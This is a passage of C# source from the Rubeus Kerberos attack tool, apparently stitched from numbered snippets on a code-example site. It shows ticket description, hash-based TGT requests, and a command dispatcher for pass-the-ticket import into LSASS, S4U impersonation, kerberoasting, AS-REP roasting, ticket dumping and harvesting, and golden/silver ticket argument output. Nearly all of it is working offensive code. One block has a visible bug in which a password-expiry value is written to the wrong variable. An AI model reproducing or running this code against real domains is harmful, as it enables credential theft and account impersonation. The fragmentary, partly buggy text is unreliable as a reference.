                            if (li.KerbValidationInfo.ResourceGroupCount > 0)
                            {
                                outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            try
                            {
                                outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime());
                            }
                            catch { }
                            DateTime?passLastSet = null;
                            try
                            {
                                passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32));
                            }
                            catch { }
                            if (passLastSet != null)
                            {
                                outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime());
                                DateTime?passCanSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passCanSet != null)
                                {
                                    outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days);
                                }
                                DateTime?passMustSet = null;
                                try
                                {
                                    passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32));
                                }
                                catch { }
                                if (passMustSet != null)
                                {
                                    outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days);
                                }
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString()))
                            {
                                outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm);
                            }
                            if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT)
                            {
                                outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", ""));
                            }
                        }
                    }

                    Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs);
                }

                return(kirbiBytes);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Пример #9
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
            byte[] serviceKey    = null;
            byte[] asrepKey      = null;
            byte[] krbKey        = null;
            string serviceUser   = "";
            string serviceDomain = "";



            if (arguments.ContainsKey("/servicekey"))
            {
                serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]);
            }
            if (arguments.ContainsKey("/asrepkey"))
            {
                asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]);
            }
            if (arguments.ContainsKey("/krbkey"))
            {
                krbKey = Helpers.StringToByteArray(arguments["/krbkey"]);
            }

            // for generating service ticket hash when using AES256
            if (arguments.ContainsKey("/serviceuser"))
            {
                serviceUser = arguments["/serviceuser"];
            }
            if (arguments.ContainsKey("/servicedomain"))
            {
                serviceDomain = arguments["/servicedomain"];
            }


            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
                return;
            }
        }
Пример #10
0
        public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false, bool verbose = false)
        {
            if (verbose)
            {
                Console.WriteLine("[*] Action: Ask TGT\r\n");

                Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

                if ((ulong)luid != 0)
                {
                    Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
                }
            }


            string dcIP = Networking.GetDCIP(domainController, false);

            if (String.IsNullOrEmpty(dcIP))
            {
                throw new RubeusException("[X] Unable to get domain controller address");
            }

            if (verbose)
            {
                Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            }

            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);

            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);

                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);

                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;

                if (etype == Interop.KERB_ETYPE.des_cbc_md5)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
                }


                AsnElt ae = AsnElt.Decode(outBytes, false);

                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                if (verbose)
                {
                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }

                if (ptt || ((ulong)luid != 0))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }

                if (describe)
                {
                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Пример #11
0
        static void Main(string[] args)
        {
            Logo();

            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf(':');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
                else
                {
                    arguments[argument] = "";
                }
            }

            if (arguments.ContainsKey("asktgt"))
            {
                string             user    = "";
                string             domain  = "";
                string             hash    = "";
                string             dc      = "";
                bool               ptt     = false;
                uint               luid    = 0;
                Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }
                if (arguments.ContainsKey("/rc4"))
                {
                    hash    = arguments["/rc4"];
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                if (arguments.ContainsKey("/aes256"))
                {
                    hash    = arguments["/aes256"];
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }

                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }


                if (arguments.ContainsKey("/createnetonly"))
                {
                    // if we're starting a hidden process to apply the ticket to
                    if (!Helpers.IsHighIntegrity())
                    {
                        Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
                        return;
                    }
                    if (arguments.ContainsKey("/show"))
                    {
                        luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
                    }
                    else
                    {
                        luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
                    }
                    Console.WriteLine();
                }

                if (String.IsNullOrEmpty(user))
                {
                    Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
                }
                if (String.IsNullOrEmpty(hash))
                {
                    Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                    return;
                }

                if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
                {
                    Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
                    return;
                }
                else
                {
                    Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
                    return;
                }
            }

            if (arguments.ContainsKey("renew"))
            {
                bool   ptt = false;
                string dc  = "";

                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }

                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        if (arguments.ContainsKey("/autorenew"))
                        {
                            // if we want to auto-renew the TGT up until the renewal limit
                            Renew.TGTAutoRenew(kirbi, dc);
                        }
                        else
                        {
                            // otherwise a single renew operation
                            byte[] blah = Renew.TGT(kirbi, ptt, dc);
                        }
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        if (arguments.ContainsKey("/autorenew"))
                        {
                            // if we want to auto-renew the TGT up until the renewal limit
                            Renew.TGTAutoRenew(kirbi, dc);
                        }
                        else
                        {
                            // otherwise a single renew operation
                            byte[] blah = Renew.TGT(kirbi, ptt, dc);
                        }
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("s4u"))
            {
                string             targetUser = "";
                string             targetSPN  = "";
                string             altSname   = "";
                string             user       = "";
                string             domain     = "";
                string             hash       = "";
                bool               ptt        = false;
                string             dc         = "";
                Interop.KERB_ETYPE encType    = Interop.KERB_ETYPE.subkey_keymaterial;

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/ptt"))
                {
                    ptt = true;
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }
                if (arguments.ContainsKey("/rc4"))
                {
                    hash    = arguments["/rc4"];
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                if (arguments.ContainsKey("/aes256"))
                {
                    hash    = arguments["/aes256"];
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                if (arguments.ContainsKey("/impersonateuser"))
                {
                    targetUser = arguments["/impersonateuser"];
                }

                if (arguments.ContainsKey("/msdsspn"))
                {
                    targetSPN = arguments["/msdsspn"];
                }

                if (arguments.ContainsKey("/altservice"))
                {
                    altSname = arguments["/altservice"];
                }

                if (String.IsNullOrEmpty(targetUser))
                {
                    Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(targetSPN))
                {
                    Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
                    return;
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else if (arguments.ContainsKey("/user"))
                {
                    // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request

                    user = arguments["/user"];

                    if (String.IsNullOrEmpty(hash))
                    {
                        Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                        return;
                    }

                    S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
                    Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("ptt"))
            {
                uint luid = 0;
                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }

                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
                        LSA.ImportTicket(kirbiBytes, luid);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
                        LSA.ImportTicket(kirbiBytes, luid);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
                    return;
                }
            }

            if (arguments.ContainsKey("purge"))
            {
                uint luid = 0;
                if (arguments.ContainsKey("/luid"))
                {
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                }

                LSA.Purge(luid);
            }

            else if (arguments.ContainsKey("kerberoast"))
            {
                string spn  = "";
                string user = "";
                string OU   = "";

                if (arguments.ContainsKey("/spn"))
                {
                    spn = arguments["/spn"];
                }
                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/ou"))
                {
                    OU = arguments["/ou"];
                }

                if (arguments.ContainsKey("/creduser"))
                {
                    if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
                    {
                        Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
                        return;
                    }

                    string[] parts      = arguments["/creduser"].Split('\\');
                    string   domainName = parts[0];
                    string   userName   = parts[1];

                    if (!arguments.ContainsKey("/credpassword"))
                    {
                        Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
                        return;
                    }

                    string password = arguments["/credpassword"];

                    System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);

                    Roast.Kerberoast(spn, user, OU, cred);
                }
                else
                {
                    Roast.Kerberoast(spn, user, OU);
                }
            }

            else if (arguments.ContainsKey("asreproast"))
            {
                string user   = "";
                string domain = "";
                string dc     = "";

                if (arguments.ContainsKey("/user"))
                {
                    user = arguments["/user"];
                }
                if (arguments.ContainsKey("/domain"))
                {
                    domain = arguments["/domain"];
                }
                if (arguments.ContainsKey("/dc"))
                {
                    dc = arguments["/dc"];
                }

                if (String.IsNullOrEmpty(user))
                {
                    Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                    return;
                }
                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
                }

                if (String.IsNullOrEmpty(dc))
                {
                    Roast.ASRepRoast(user, domain);
                }
                else
                {
                    Roast.ASRepRoast(user, domain, dc);
                }
            }

            else if (arguments.ContainsKey("dump"))
            {
                if (arguments.ContainsKey("/luid"))
                {
                    string service = "";
                    if (arguments.ContainsKey("/service"))
                    {
                        service = arguments["/service"];
                    }
                    UInt32 luid = 0;
                    try
                    {
                        luid = UInt32.Parse(arguments["/luid"]);
                    }
                    catch
                    {
                        try
                        {
                            luid = Convert.ToUInt32(arguments["/luid"], 16);
                        }
                        catch
                        {
                            Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
                            return;
                        }
                    }
                    LSA.ListKerberosTicketData(luid, service);
                }
                else if (arguments.ContainsKey("/service"))
                {
                    LSA.ListKerberosTicketData(0, arguments["/service"]);
                }
                else
                {
                    LSA.ListKerberosTicketData();
                }
            }

            else if (arguments.ContainsKey("monitor"))
            {
                string targetUser = "";
                int    interval   = 60;
                if (arguments.ContainsKey("/filteruser"))
                {
                    targetUser = arguments["/filteruser"];
                }
                if (arguments.ContainsKey("/interval"))
                {
                    interval = Int32.Parse(arguments["/interval"]);
                }
                Harvest.Monitor4624(interval, targetUser);
            }

            else if (arguments.ContainsKey("harvest"))
            {
                int intervalMinutes = 60;
                if (arguments.ContainsKey("/interval"))
                {
                    intervalMinutes = Int32.Parse(arguments["/interval"]);
                }
                Harvest.HarvestTGTs(intervalMinutes);
            }

            else if (arguments.ContainsKey("describe"))
            {
                if (arguments.ContainsKey("/ticket"))
                {
                    string kirbi64 = arguments["/ticket"];

                    if (Helpers.IsBase64String(kirbi64))
                    {
                        byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        LSA.DisplayTicket(kirbi);
                    }
                    else if (File.Exists(kirbi64))
                    {
                        byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                        KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                        LSA.DisplayTicket(kirbi);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    }
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
                    return;
                }
            }

            else if (arguments.ContainsKey("createnetonly"))
            {
                if (arguments.ContainsKey("/program"))
                {
                    if (arguments.ContainsKey("/show"))
                    {
                        LSA.CreateProcessNetOnly(arguments["/program"], true);
                    }
                    else
                    {
                        LSA.CreateProcessNetOnly(arguments["/program"]);
                    }
                }

                else
                {
                    Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
                }
            }

            else
            {
                Usage();
            }
        }